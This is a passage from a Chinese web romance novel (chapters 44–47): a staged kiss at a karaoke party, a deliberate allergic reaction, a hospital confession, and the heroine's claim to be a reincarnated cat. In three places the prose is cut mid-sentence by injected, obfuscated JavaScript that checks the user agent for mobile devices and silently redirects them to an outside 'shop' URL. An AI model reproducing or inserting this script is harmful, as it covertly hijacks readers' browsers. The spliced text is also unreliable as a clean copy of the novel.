蒋谌收到消息就出了包厢,在走廊尽头看到两人。还没开口说话,许知棠直接冲过来,拽住他的领子用力往下拉,预备在他脸上亲一大口,气死前男友。 但他毫无预兆地转过了头。 一个带着酒精和桃子香气的吻正正好好地落在他嘴唇上。 三个人都愣住了。 失序的心跳急速鼓动。许知棠有点喘不上气了,干巴巴地说,“对……对不起啊。” 说是意外他会信吗? 来不及解释,她后退一步,转身想去看何松砚的反应,肩膀却被按住,被不容拒绝的力道扳了回来。 后颈也被滚烫的手掌扣住。 许知棠感到一阵眩晕。 头脑完全空白之前,只剩最后一个想法。 这个人平时讲话硬邦邦的,舌头倒是很软。 44. 第 44 章 她来这一出就是为了气前男友……以蒋谌的智商,肯定能反应过来。 想帮她的忙也是有可能的。 但这会不会帮得太狠了点? 侵略的态度里带着点睚眦必报的意味。好像别人打了他一下,他就要狠狠地挥好几拳报复回来。 思绪回笼,她勉强挣开,喘着气转头去看何松砚的反应。 蒋谌比她更直观地注意着第三者的动向,不紧不慢地低头,湿且烫的嘴唇擦过她耳廓,“走了。” “……”他为什么要这样压着嗓子低哑地说话。 好烧啊。 许知棠耳朵也烧起来,一路烧到脖颈,连胸前低领露出的皮肤都变成粉色。 更要命的是,已然目睹的人都走了,他也没有任何拉开距离的意思。许知棠不知道他心里在琢磨什么,又不敢抬眼,知道正被他沉沉地盯着。那双眼睛一定亮得让人害怕。 “你这人,是不是有点……那个,”她闭着眼往后退,一双手在墙上忙碌地摸索,好像想找个门钻进去,“太,太较真了哈。” 幸好出来没走多远。她退后几步扭头就跑,钻回了人数众多,她觉得相对安全的包厢里。 蒋谌在蜜桃滋味的余韵里,没有立刻追上去。 身体先于理智的反应并没有让他感到懊悔。甜香滋味还萦绕在舌尖,头脑已经高速运转起来,后续的一系列反应连锁变化,调整成新的可能性。 机会来临时,就该要不择手段地抓住。 新歌前奏刚刚开始。昏暗的包厢里光球转动,霓虹环绕。 蒋谌悄无声息地拉门进入,放眼看去像是首情歌对唱。两人握着话筒并肩站在屏幕前。 仔细一看,一个是何松砚,一个是许知棠。 “……” 哪有人分手了还要对唱。 刚刚进来被起哄时,许知棠也觉得很诡异。 可是看见何松砚居然率先拿起了话筒,她怎么甘心示弱,较劲的死脾气又翻上来,“唱就唱。” 两个人站在显示屏前切歌,上来就是一首《可惜不是你》,切走。下一首《分手快乐》,再切走,又来一首《体面》。 “……” 这都谁点的歌? 许知棠连着跳过了许多首,太应景或太不合时宜的她都不想唱。直到听见他生硬的语气,“不用换了。” “就这首吧,唱完我回医院值班。你们玩得开心。” 《到此为止》的伴奏响了起来。何松砚的声音里有难以掩饰的悲伤和失望。 “我有妒忌的体质, 却把原谅的权利, 当成恩赐。” 许知棠没想到他会唱得这么动情,压力骤增。游离的视线扫到包厢门口,却见蒋谌好整以暇地靠在那儿,双手插兜,很悠闲的模样。 见她看过来,甚至用口型说了一句。 ——要我过去,帮,你,唱? 许知棠看明白就瞪了他一眼,差点错过自己的部分,连忙抬起麦克风,“……与其被牵绊挟持,反目成仇都胜过,若无其事。” “到此为止, 各有各的天地, 依然相互凌迟, 我们就是最好的例子。” 蒋谌视力很好,在光线混乱的场景里,目光稳定地落在她微胀的嘴唇上,甚至能看到口红在嘴角晕开了一小圈。她进来时都没来得及补妆。 何松砚也能看到。 “到此为止,别离的歌早已哼在嘴边,是你为我提词。” 一首歌唱完,他眼中隐约还有泪光在闪。 很忧郁,很破碎,很可怜。 蒋谌分给他一些注意力,嫌弃地皱眉,心想许知棠应该是很吃这套的。再转眼看回去,果然她面露不忍。 何松砚先走,她就不好立刻离开,坐下来准备再待一小会儿就溜。 曾经还算朋友的这些人们,现在讨论的话题她也融入不进去。都是吐槽婆媳,吐槽老板,要么讨论买了房,买了车,而她刚刚下单买了可爱咸鱼干小挂件。 【想走吗】 她收到微信,偷偷瞥了眼蒋谌。他立刻抬眼看过来。 他今天表现怪怪的。摸不清他什么意思,许知棠还是诚实地点了一下头。 蒋谌就挪到果盘前,大刀阔斧地连吃了好几块。她凑近一看,发现他把里面的芒果挑着全吃了。 “……” 他很久没有碰过过敏原,咽下最后一块不消几秒钟,便开始喉咙发紧。 异物感来得非常快。他很熟悉症状流程,喉头水肿,呼吸困难,不受控制地咳嗽起来。动静不小,吸引了三三两两的目光。 “我送他去医院。”许知棠果断把他拉起来,扶着往外走。 蒋谌半个身子倚着她,“慢点……我头晕。” 语气虚弱,听起来比刚刚唱伤心情歌的人还要可怜。 “晕也活该!”许知棠真是无语,被他气得不轻。“你是不是不想要命了?过敏严重能死人的!” 真想走就一句话的事,左右不过她再被人议论几句,哪里用得着这么大费周章。 蒋谌不还嘴,低头用手背蹭了蹭脖子,大片红疹浮现出来,“痒。” “别抓!”许知棠连忙夺过他的手,“等会儿到医院找药给你敷。” 他没有挣扎,只是被夺走的那只手顺势向下滑,不动声色地握住了她。 许知棠没功夫注意那么多。她记得蒋谌小时候不小心咬到一点芒果都会起红疹,吐得稀里哗啦,更别说是连吃好几块。 生死时速地打车到医院挂了急诊,蒋谌已经从虚假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17075954|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的柔弱发展成真实的意识模糊,打完针还要静脉滴注抗组胺药。 实在是惨的。许知棠认为他已经得到了教训,担心压过了无语,也没再骂他没事找事,忙前忙后地取药,拿无菌纱布裹着冰袋给他敷。 “好凉。”他往旁边缩了一下,有点孩子气的反应。许知棠撇嘴,要笑又没好气道,“自己按着。” 蒋谌只是把身体倾向她,“手上没劲。” “你刚刚炫水果的时候挺有劲的。”她很想翻白眼,话虽这么说,还是没有不管,握着冰袋给他冰敷了十分钟才放下来。两只手轮换着拿,指尖也浸得冰凉。 “还是很难受吗?”她凑近看了看,对着红肿未消的皮肤轻轻吹气。也像对小孩那样。 怎么红得更厉害了? 蒋谌用没扎针的那只手握住她的手,掌心的温度高出很多,语气令人不明,“你在医院的时候,也这么照顾病人吗?” “这是特殊待遇!”许知棠说,“就感激吧你。” 她故意说得潇洒不拘,因为发现了此时的氛围不大寻常。虽然很需要暖一暖手,但还是不自在地想把手抽出来,“……看什么?” 蒋谌又在用那种让人起鸡皮疙瘩的眼神盯着她。太奇怪了,她很难不往别的地方联想。 “喜欢特殊待遇。”蒋谌说。 “……” “喜欢你。” 许知棠猛地抬头,瞳孔震颤,受到一万点惊吓,“你说什么呢。” 是过敏舌头肿了说话不清晰,还是呼吸困难让大脑缺氧神志不清了。她怎么会从蒋谌口中听到这么破坏团结的话? 她觉得蒋谌只要能给出一个解释,无论多不合理她都可以接受。 偏偏天不遂人愿。 蒋谌一点心虚的样子都没有,很清晰地重复了一遍,“我说喜欢你。” “……” 许知棠哑口无言,半晌,“我,我刚才亲你,是为了……” “我知道。”他说,“我不在乎。” 管她为什么亲。 亲了就是亲了,至少有那么一瞬间,许知棠把他当成和何松砚对抗的选项,把他放在了相同的位置。 是她亲自帮他坐实情敌的身份。 简而言之。 他发现自己是时候上桌了。 许知棠既然都有胆亲他,大概也不怕跟他继续住在一起。 让她知道也好。反正就算现在不说,他也没把握自己能再瞒多久。 “你……你?你?!是不是寡疯了你!” 许知棠露出崩溃的表情,在他面前走来走去转了好几圈,又对着他指指点点,恨不得拎着脖子让他把话收回去,“你变了……你再也不是我的好闺闺了!” “好。”蒋谌没什么遗憾,“我本来就不是。” 45. 第 45 章 这是正常人该说的话吗?许知棠对他罔顾友谊的危险发言非常不满,“只有最没品位没原则的人才会打好朋友的主意!” 蒋谌点点头,“我就是那种人。” “……” 过敏严重是不是会伤到脑子?是不是该给他送精神科去检查一下。 许知棠半天才憋出一句,“你跟我不合适!” “是吗,具体什么地方不合适?” 宛如做工作汇报,蒋谌耐心列举,“我有车有房没贷款经济独立,身高体重体脂率都达标,长得还行,工作也不错,还没父母,将来不会给你婆媳关系的烦恼。我觉得挺合适的。” “……你这说的什么东西啊!”她一阵头晕,怎么几句话都扯到婆媳关系了,“等一下,你没有房贷吗?” 蒋谌轻扯嘴角,“那么点儿大的房子还要分期买。我这么多年白干了?” “那你不就是在骗我——” “是你自己说想帮我还的。”他说,“盛情难却。” “……” 许知棠难以置信地看着他。 今天婚礼上她还庆幸蒋谌来了,觉得他真是可靠值得信任。但此时眼前的这张脸忽然变得十分狡诈。 肯定还是因为她突发损招,没管住嘴亲错了地方……才会把蒋谌变成这个样子。 她完全忘记了真正的吻是由谁主导,是谁的情不自禁和条件反射。她觉得蒋谌没准儿还是会错了意,后悔得要死。 “我不喜欢你。虽然你条件确实是有那么好……但是这不是一回事,谈恋爱不是这样论的。” 她冷着脸,把话说得很坚决,又反复重申,“我可不是那种对朋友下手的人!” “嗯。”蒋谌颔首,喉结滚了一下,接受她的说法。他有这个心理预期。“我也没想这样要求你。” 许知棠有点崩溃,“那你到底想干什么啊?!” 蒋谌应该也知道。这不仅仅是一次简单的告白,会把她剩下的人类生活完全搅乱! ……至少搅乱个一大半。 好朋友的界限是绝对不应该突破的。她觉得这种事发生的荒谬程度,也就仅次于陶悦跟她出柜。 她现在身边认识的男模特,摄影师里面有不少帅哥,跟她见了面说笑打闹的关系也都不错。是他们中的任何一个人,她都不会很惊讶。 但怎么会是蒋谌跟她告白呢? 她自从长开了以后,身边从来就不缺人追,自认为对男生释放的暧昧信号是很敏锐的。 蒋谌从来就没有露出过那种鬼迷日眼的……想泡她的样子。 “只是想让你知道。”蒋谌望着她,“如果还有再谈恋爱的想法,与其找别人,还不如——跟我试一试。” “我也可以。” ** 许知棠不可以。 很不可以。 陶悦终于回了消息,直接打视频过来。她深呼吸,走出去外面到接通。 “你没去山庄吗?”她看到对面背景还在陶悦自己家的卧室里。 “嗯,昨晚让人给截胡了,刚醒。” 陶悦呲牙咧嘴地伸了个懒腰,不知道是在打呵欠还是叹气,“待会儿还有得解释呢,老男人八百个心眼子,不好糊弄。” 卧室门口晃过一个精瘦的人影,没穿上衣,身体白得反光。许知棠还没来得及问,就见她揪起枕头奋力一扔,瞪眼怒骂,“滚出去!” 许知棠嗅到狗血的气息,把自己这边情绪都淡了,“前男友没断干净啊?” “狗崽子来的,等会儿再收拾他。”陶悦翻了个白眼,顺便在床上翻了个身,被角滑落,露出的皮肤都被啃花了。难怪生气。 “你那边怎么样,续摊这么快结束了?看着也不像是在KTV。” “在医院呢。蒋谌炫果盘过敏了,有点神经。” 许知棠停顿了一下,给嫡长闺汇报一手消息,“真的不知道他在发什么神经。刚刚正吊着水,他忽然说喜欢我!是不是输错药了。” 陶悦露出惊讶的表情,“你们还没睡过?” “……” “最近你没怎么提他,我以为你把发小睡了不好意思告诉我呢。” 她好笑道,“许知棠,你是不是跟一个人谈太久忘记外面大环境是什么样了。男人邀请你去他家里住,除非是gay蜜,否则能对你有什么纯洁心思?你一开始就该有这个心理准备。” “我能不能选gay蜜……”许知棠声音弱弱的。 如果现在面前有一盏阿拉丁神灯,她真想许愿让蒋谌变gay! “不能。”陶悦问,“你就真的从来没想过,跟他发生点什么?” “没有!”她毫不犹豫地选择拒绝。 她对蒋谌,甚至都不是一般的没想法。意愿还要更强烈些,是坚决地排斥对他有想法。 “啧,不是有句老话讲吗,恐同即深柜。人越害怕什么,越是证明潜意识里有什么。” 陶悦没法儿理解。她认识许知棠的时候蒋谌已经转学走了,不清楚两个人以前感情好到什么程度。 上个月一起在海市吃了顿饭,她亲眼见过蒋谌,心里也评估过的。难道她还能看着许知棠随便去什么野男人家里去住? 毕竟她一直倡导的就是用新人代替旧人,才能快速走出阴影。 她觉得蒋谌还不错。 “你俩就算真在一块儿了又有什么关系?又不是出轨,上一个分都分了,你难道还觉得对不起谁。” 陶大师只差耳提面命,“告诉你多少次了要享受生活!你同时跟八个男人结婚我也只会夸一句牛逼。有什么放不开的,享受就完了。” “我享受不了……”许知棠实话实说,“我觉得跟朋友谈恋爱太缺德了。” “因为最近直播的时候大家喜欢玩主人哥的梗,我怕把关系搞得不自在,才故意不提他的。诶,你说他会不会是被这个影响了?” 陶悦稍加思索,察觉端倪,“他今天忽然就跟你告白了?就没点什么前情,导火索之类的?” “……” 许知棠简直不想提自己干的蠢事。 但对面是阅历丰富的陶大师,她还是一五一十地照实说了。 “这不就很好玩吗!”陶大师反而很是欣赏,“属于意外收获啊。收着呗。” 人类的悲欢并不相通。 许知棠对输液厅望而却步,感觉走回去还会再听他讲一些雷霆逆言。在走廊转了几圈,看到不远处电梯打开,何松砚走出来。 他已经换了衣服,神情平淡,恢复成医院里常见的工作状态。似乎今天的事没有对他造成任何影响。 望见许知棠时,他脸上浮现出明显的愕然,皱起了眉。显然以为许知棠是来找他的。 事已至此,他不知道两人之间还有什么好说的,就这样一言不发地迎面走来,又错身走去。 擦肩而过的瞬间,许知棠深吸一口气,“等一下。” 何松砚站住了。 双脚好像不是他的。明明不想再听到许知棠说她和另一个人的事,不愿知道任何细节,可他还是停了下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083382|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我没有出过轨。”她说,“蒋谌是我们分手之后,我才在海市遇到的。临时租房子很难找到合适的,正好他家里刚装修好,还有房间空着,我就去住了。刚刚亲他也是为了气你,我们没有在一起。” “……” 她一口气说完,又加了一句,“我没有做过对不起你的事,想都没想过。你应该了解我的。” 她冲动起来总是做傻事,也不是第一次了。现在冷静下来才想,不该是这样。 既然是好好地爱了六年,结束也不该这么随便地潦草收场。这对两个人都不公平。 她要对自己的感情有个交代,认真且坦荡。 何松砚匪夷所思地眨了一下眼睛,似乎在辨别她的话,到底哪一部分是可信的。 一会儿是这样,一会儿又那样。曾经他觉得许知棠古灵精怪,鲜活可爱,如今却只感受到一阵很深的疲惫。“不是为他,那是为了什么?你一定要跟我分手,总该有个原因吧。” 他真想问问许知棠,为什么不能跟他一起按部就班安安稳稳地生活下去,非要这么折腾。 他向来觉得自己是个冷静稳重的人,周围人也都这样评价。可现在他几乎无法控制自己的情绪了,刚回医院平复下来,就又被她搅得一团躁乱,“到底为什么!” 压抑的声音在走廊上回响,惹来路过的病人回头望。许知棠缩了一下脖子,胆量反而增加,索性今天就说个明白,语不惊人死不休,“因为我不是人类。” “……” “你肯定不相信,放在以前我可能也不信。但我那天骑电动车摔倒被撞到头,一下子就想起了很多事。” 她认真地从头解释,“我本来是只流浪猫,快要死了,运气好才在许知棠的身体里活了这么多年。现在只剩一点时间,等我完成任务,马上就会离开这具身体。无论如何也没办法跟你结婚生子,一起组建家庭了。” “所以……最后的这点时间,我想去做一点自己从没尝试过的事。我喜欢的事。” 许知棠说,“我想自由自在地度过最后的人类生活。” 还是忍不住和盘托出。 不管在他眼里有多么离谱,无可救药,这就是真相。她只想求一个问心无愧,求自己心安。 “我知道这些事听起来很荒谬,可能还没出轨有可信度。你信不信我也都没关系,反正我们已经分手了,影响不到你什么。我只是想……在离开之前,把实话都告诉你。” 她的语气变得悲伤,还有些依依不舍。 “我们一起度过了很多时间。很多重要的,幸福……和不幸的时间,都是你陪我度过的,我永远都会记得。如果不久后有一天我突然消失,联系不到了,你也不要太难过。我没有死掉,只是变回了最初的自己。” 她看起来对自己的话深信不疑。 何松砚本来也不愿意接受她真的出轨,以至于顺着这荒唐的故事逻辑,回想起出事那天。他亲自看过许知棠的脑部CT结果,没有任何受伤和病变的迹象。 难道为了跟他分手,许知棠就能编造出这样一个故事来搪塞? 可如果事实真如她所说,最近一段时间,她反常的行为就都能解释得通了。 “这些事蒋谌知道吗?”何松砚突然问,“他相信你吗?” “他……信啊。”许知棠一怔。 何松砚没有信,也不觉得那样一个精明干练,又很会审时度势,看起来完全是社会精英的男人会信这套说辞。 “他是真的相信你,还是只想用这种迎合把你留在那一边?” 46. 第 46 章 如果没有刚刚发生的告白,许知棠恐怕都无法立刻理解这句话的意思。 他原来也可以这样敏锐地觉察别人的心思,哪怕是只有寥寥两面的人。 那么以往她难以开口的失望,和孤独的瞬间,他为什么视而不见? “不管蒋谌怎么想,我都没有骗你。”她笑了一下,眼泪却莫名聚集,“你不相信对吗?” 何松砚眉心微动,带着些无可奈何的意味,朝她伸出手,“到我办公室坐一会儿,等我忙完,带你再去做一遍检查。” 许知棠退后一步,摇了摇头。 她委屈时眼眶总是红得很快,黑亮的眼珠含着晶莹剔透的难过。何松砚也无法承受这样的注视,语气软了下来。 “棠棠,如果你只是想体验不一样的人生,在外面玩几个月,我能理解。”他说,“但是换个地方住好吗?我可以请假亲自去一趟,陪你一起找房子。” 许知棠说,“如果你不相信我,就没有必要管我。” “我怎么可能不管你?爸去世前我亲口对他发过誓,会照顾好你。不是随便说说的。” 摇摇欲坠的泪水终于离开了眼眶。她最受不了的就是提起家人,“可是我真的……” “我知道这一年很难,可是你也挺过来了不是吗?以后会慢慢变好的。” 何松砚一字一句道,“不管是什么原因导致的,我都会陪你一起面对。但你不能躲在逃避现实的幻想里,拒绝规划和面对未来。” 本应该令人感动踏实的承诺,许知棠却心生畏惧。 这算是逃避现实吗? 她完成了跨越千里的搬家,换工作,赚到不低的薪水,也交了不少朋友。只为了逃避现实? 她不愿认同何松砚说的那种解决方案,也不愿意自己在他眼中,再次变成一个待解决的问题。 还是不要吵架了吧?如果这就是她和他的最后一面。 许知棠想,她终究没办法搞清楚,两人之间到底是谁对谁错,怎么走到了这一步。 “就当是我在说谎好了。”她抹去眼泪,露出一个很淡的笑容,“这是我最后的说法。你听过就好。” 何松砚心里一空,还想再说什么。可不远处护士迟迟不见人影,从病房过来找他,脚步焦急。 “去忙吧,何医生。”许知棠说。 “我对你没有遗憾了。” ** 输液大厅的座椅又冷又硬。可许知棠不知从哪里借来了厚坐垫,还有几张发热贴。 蒋谌被独自丢在原地,也没有感到失落。因为她温暖的照顾并未消失。作为病人,他的就医条件豪华到让隔壁输液的小孩羡慕。 在羡慕的目光中,他稳重地拿出最后一张发热贴,微笑示意,然后撕开,贴在自己扎着针的手底下,舒服地叹了口气。 “……” 爱显摆的大人很讨厌。小孩扭头大喊,“妈妈我也要!”话音没落后脑勺就挨了一巴掌。 “要什么要,你药水还有两分钟就滴完了,别乱叫。” 一对母子很快离开,大厅里分外安静。蒋谌望着墙上的电子表数羊。 虽然有些卑鄙,但他可以确定,许知棠不会在这样的情况下真的抛弃他,独自离开医院。 昨晚跑来云川,甚至到今天中午吃席时,他都没想过自己会在医院里告白。 这桩临时决定的意外,让脑袋原本的昏沉变成了一种微妙的眩晕。 蒋谌闭着眼睛靠在座椅上,回味下午的那个吻,回味她错愕的可爱表情,回味到那句“我不喜欢你”时有些刻意地跳过。然后在等待中想象她接下来会有的反应。 无论积极或是消极的,任何反应。 他都觉得很好。 他为此努力对抗困意。但许知棠真的回来了,看到她的表情,他却又觉得不太好。 怎么又红着眼圈。 许知棠没说什么,抬头看他剩余的药水,调了一下流速,然后就默默地坐在旁边,掏出小镜子补妆。 这里是医院。不用问也知道是在外面碰到谁了。 只要是和何松砚有关的,发消息也好见面也罢,她没有哪次是轻松愉快的。 根本就不如待在他身边时快乐。 蒋谌转头看了她两回,感觉她不打算开口说话,主动道,“猜猜我上一次水果过敏是什么时候。” 许知棠是不接话就憋得慌的人。更别说是她也好奇的事,果然没忍住,“什么时候?” “高考出完成绩,我回云川的那次。你做的蛋糕。” “……” “其实我闻出来了,”他说,“但还是没挑走,整盒都吃得一干二净。” 许知棠理解不了,“那是因为什么?”就想自己找罪受? “因为喜欢。” “蛋糕?其实我手艺也没那么好……”她说到一半,才有点尴尬地反应过来,“哦哦,你说我啊。” 嗯?不对。 许知棠:“你那时候就喜欢我了?!” “有什么好奇怪的,”他倒是说得坦荡,“喜欢你的人又不止我一个。” “可是你和他们不一样啊……” 蒋谌问,“哪里不一样?” 难回答的问题。 许知棠又不说话了。 蒋谌没有把天聊死的惭愧,顺势抛出另一块鱼饵,点开论坛在她面前晃了晃,“今天的新情节看了吗。” “嗯?小说更新了?”许知棠立马又咬钩,凑过来看他的手机。 从以往来看,帖子更新的时间大多集中在节假日,作者大概率是位工作繁重的社畜。这次却十分勤奋,一口气更了三章。 许知棠眨了一下眼睛,推开他靠近的胳膊,拿自己的手机找出来看。 仿佛在空气里划了道隐形的三八线。 蒋谌自从认识她就没受过这种冷落。不过他向来不觉得变化是件坏事,也不会为了求稳而错过难逢的时机。 起码许知棠没说要退了机票不跟他一起回家。他就觉得现在的发展还不算坏。 小说的发展比他们更快一些。在上次的南杞县之行结束后,报恩任务并没有完成。一人一咪调整策略,从江琛的老家改成了他想去的地方,景德镇。 剧情还是温馨治愈童话风,看得许知棠会心一笑。但卡点在主角乘坐飞机前往景德镇,江琛在小咪睡着时,吻了一下她的头发。 跟帖的评论炸了锅。 【我的妈呀甜到我昏过去了】 【这是什么意思?!要变成bg向了吗补药啊】 【啊啊啊第一个亲亲出现了!!!】 【欲言又止.jpg】 【……】 作者很早就明确说过,这是偏友情亲情向的都市童话,照着《小王子》的风格写的。 但是这次更新后,她又跟帖发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108200|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表了最近的困扰。 因为一直都有读者在磕感情线,且帖子热度越来越高,搞得她自己也开始纠结,是不是要添加一些爱情色彩进去。 这个试探性的吻,看起来是不可避免地受到了评论的影响。 许知棠倒吸一口冷气。 难道现实和小说竟然是可以互相干涉的……都怪蒋谌乱告白,竟然把剧情走向都给扳歪了! 《救过的小猫变成人来报恩了怎么办》,从标题就能看出来,主角是更偏向江琛那方。 善良小咪的出现,给他的生活带了许多意料之外的丰富体验,让原本沉闷冷漠的人类变得更热爱生活。 作为人类与毛绒绒生物的互动已经很美好,但如果加入男女情感,未免就会显得俗套。 但如果是主角自己心思太俗,反过来影响了小说走向……倒也没人能管得了他。 小说和现实的“第一个吻”恰好发生在同一天。虽然情形不同,带起的风波却是一样惊人。 评论里吵得不可开交。她偷偷瞥了蒋谌一眼,转过身挡着手机跟帖。 【反对!!禁止变态人类觊觎可爱小咪!!】 回帖会显示IP地址,她打字的动作和最新回复又十分吻合。蒋谌仅用了零秒钟就猜到这位反对者的身份。 然后他在许知棠嗔怒的目光中淡定打字,单独回复了这一楼。 【呜呜,可是变态人类也有被可爱小咪迷倒的资格】 许知棠不理解,他是怎么能面无表情地打出“呜呜”两个字的。 好恐怖。 “你真的相信这个故事……是存在的吗?”她放下手机,声音越来越低,“不是为了泡我吧。” 何松砚的话还是让她受到了一些伤害。 在这件事上,蒋谌是她唯一的同盟。如果蒋谌其实并不相信她……可比何松砚不相信她的打击大多了。 这对她很重要。许知棠鼓起勇气,直视他的眼睛,做好了从中看到虚伪,嘲讽或欺骗的心理准备。 除了惊讶,蒋谌的表情没有什么变化,“怎么忽然这么问。是不是有人对你说了怀疑的话?” “……” 这么聪明像话吗。 许知棠硬着头皮摇摇头,“你只管回答我,快点。” 他无奈地叹气,似乎是被质疑而感到委屈,没想到还要自证清白,“好吧。我相信,许知棠,不只是一个故事。” 他说,“我相信你可以拯救世界。” 他问心无愧。因为早就已经这么觉得,许知棠比他更像,也更适合当那个所谓的主角。 “好吧……好吧。”许知棠怔了怔,迅速移开目光,脸上热度攀升。 他怎么忽然这么会说漂亮话。 这种肯定,对她而言比“喜欢你”还要肉麻。 她又感动地想,蒋谌这朋友还是不错的。至于什么告白,或许只是寡疯了想发一天神经呢。 等回到海市上两天班,脑子肯定就清醒了。 到时候他肯定会很尴尬。 看在今天的感人发言的份上,她勉强决定到时候不嘲笑他。 刚想到这,手机亮起来,短信通知了她的航班信息。 许知棠点开来看,发现是下周去景德镇的机票。他动作这么快,仔细一看居然买的还是头等舱,大为震惊,“你这是想干什么啊。”明天不过了? 蒋谌说,“泡你。” 47. 第 47 章 他是怎么把这么不要脸的话,说得像是天经地义。 许知棠想骂他两句,可看他生着病有些可怜的脸,不知怎么就是开不了口。 于是哗一下站起来,装出些气势十足的嫌弃,“神经啊!你……你自己在这吧!我要飞了!” “不等我了吗?”蒋谌抬头看一眼药水,又看她。“我也要回去的。” 许知棠急于跟他撇清关系,“我才不跟你坐一架飞机!” “……” 虽然她现在回酒店拿行李,到了机场至少也还要再等两个小时,但总比坐在这里听他胡言乱语强。 许知棠大步走出输液厅,转到他看不见的角落,还是偷偷找熟识的护士拜托了几句,担心他再一个人晕在这里。 大概她心情太过于乱七八糟,话也说得颠三倒四。护士扑哧笑了,眨眨眼说,“我知道,认识的不认识的帅哥都会多关照一下,放心吧。” 许知棠红着脸说了谢谢,离开医院心还怦怦跳。 说实话她就只谈过一回恋爱,还是自己主动追的别人,没怎么被这样撩拨过。更别说是个想都没想到过的人。 蒋谌看起来也不像那种很……很,烧的人啊。 难道是她看人的眼光不行? 傍晚直飞海市的航班只有一趟,再晚就是午夜。大概率她和蒋谌还是要乘同一架飞机。 许知棠犹豫是否要改签,但想想回去还要进一个家门,就放弃了折腾。 她到洗手间卸妆,素颜戴上棒球帽,一个人坐在登机口百思不得其解,猛地搓了搓脸,重置五官后依然没招。 蒋谌在登机前半小时到达,望见她抬手挥了一下,手背上还贴着医疗胶布。神色却很心安理得,一点没有罪魁祸首的样子,甚至看起来心情不错,“棠老师,这么巧。” “……” 回海市,许知棠人生中第一次晕机。 她固执地认为是蒋谌坐在同一架飞机上,隔着两排座位把她需要的氧气都吸走了。并以此为由全程不愿意跟他讲话。 蒋谌淡定地接受指控。 【好的。那我尽量停止呼吸】 等许知棠连表情包都不回了,他继续研究今天更新的小说章节。 从现实角度看,小说不可能是凭空冒出来的,总有作者可查。 他不是什么可以无视规则随便违法乱纪的霸总文男主,一句话就把人祖宗十八代查个底朝天。但其中确实有一些线索可以推敲。 他发现迄今为止更新的内容里,有些重复出现的口癖,很明显是北方的用语习惯,出现过的地点也都是北方城市。 他和许知棠生长在云川,身边很早认识的发小就可以排除了——这里可以特指姚一尧。 能对他的生活如此了解,必然是身边接触比较多的人。他平时不怎么跟同学朋友交际,其中是北方籍贯的就更少,排除下来大概只有两三人,同事之中差不多也是这个数。但他都没有跟哪个人,关系好到会讲起小时候救过的猫。 家人就更不可能了。他从本科毕业后,跟家里联系的频率都要论年计数。 同时知道他小时候的事和现在的事。要满足这种严苛条件的人,确实只有姚一尧比较符合。 蒋谌想了一圈,思绪又回到原点,偏头去看前排座位。 许知棠坐在靠走道的位置,歪着脑袋已经睡熟了,薄薄的脸颊肉在眼罩下挤出很可爱的形状。 遇到再烦恼的事情,上了飞机该晕还是会晕。 一看就是很善良的孩子。 对于善良小咪千里报恩的神奇展开,魏林瀚曾在分析中提出了积极的一面。 “你不觉得她这一个月的变化很大吗?起码我看着是挺明显的。” 他对这个案例很感兴趣,隔几天就会找蒋谌问一下情况,尤其是在万圣节游园见到许知棠后。 “比起在医院门诊那次见面,她看起来精神多了。要说其中也有你协助配合的功劳。” 并不是所有的治疗都必须打针吃药。对她而言,追故事的过程就是自我疗愈的过程。 即使真的只是不切实际的妄想,又能怎样呢?带着积极的幻想快乐地过一辈子,和陷入消极的现实中痛苦地生活,如果只能选一样,鬼都知道要选哪个。 起码许知棠知道。 蒋谌也知道。 所以他没那么迫切地弄清楚,这一切到底是怎么回事。反而要抓住命运赐予的机会,给自己谋得好处。 他又不是什么很无私的人。又不像许知棠那样勇敢真诚,为了拯救世界,可以冒险跑一千多公里,来找一个十年都没联络过的朋友。 十几岁时的初恋天天在眼前晃,精心妆造可爱,素面朝天也可爱。吊带短裙裹大衣可爱,卡通睡衣丸子头更是可爱到没边。 他一颗心整天不受控制地乱跳,再不做点什么真要不行了。 蒋谌收回目光想,他是喜欢许知棠,但要说有多喜欢多迷恋,似乎也谈不上。他天生就不是那种能爱得死去活来的人。 只不过有这机会。初恋的遗憾谁都想弥补,他当然也不能免俗。 ** 许知棠很久没有梦见过父母了。 气流颠簸,她竟回到儿时的院里,看到爸爸坐在摇椅上晃晃悠悠地乘凉,想吐槽的心情空前沸腾。 像每一次大学回家,带回积攒了整个月的八卦时一样。她吐槽何松砚太会诛心,竟然搬出他临终前的托付来做动摇她的武器。又说蒋谌发什么神经,好好的闺中密友不当了要当她被窝里的男人。 一直说一直说,她吐槽到力竭,爸爸都不回她一句话。 